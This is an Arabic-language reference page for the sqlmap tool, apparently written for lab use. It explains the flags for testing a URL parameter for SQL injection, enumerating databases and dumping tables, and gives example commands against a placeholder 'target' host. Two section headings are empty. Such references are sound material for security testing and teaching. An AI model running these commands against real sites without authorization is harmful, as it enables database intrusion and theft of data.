مكتبة الأوامر / sqlmap

كشف واستغلال ثغرات حقن SQL تلقائياً

يختبر sqlmap معاملاً في رابط عن حقن SQL، وإن كان ضعيفاً يستطيع تعداد قواعد البيانات والجداول والصفوف تلقائياً. ‎-u هي العلم المطلوب الوحيد؛ وتمنع --batch أي توقف لطرح سؤال تفاعلي، وهذا مهم لتشغيلات المختبر المُسكرَبة.

الاستخدام

الخيارات والأعلام

• -u, --url URL

  الرابط الهدف، مع المعامل المراد اختباره — مطلوب

• --dbs

  تعداد أسماء قواعد البيانات المتاحة

• --dump

  استخراج محتوى الجدول (الجداول) المكتشفة

• --batch

  عدم السؤال أبداً — قبول إجابة sqlmap الافتراضية لكل سؤال

أمثلة

• sqlmap -u "http://target/page.php?id=1"

  اختبر معامل id عن حقن SQL.

• sqlmap -u "http://target/page.php?id=1" --dbs

  إنه ضعيف — اسرد الآن أسماء قواعد البيانات.

• sqlmap -u "http://target/page.php?id=1" --batch --dbs

  التعداد نفسه، لكن بلا توقف للسؤال — جيد لتشغيل مختبري غير مراقب.

أخطاء شائعة

أوامر ذات صلة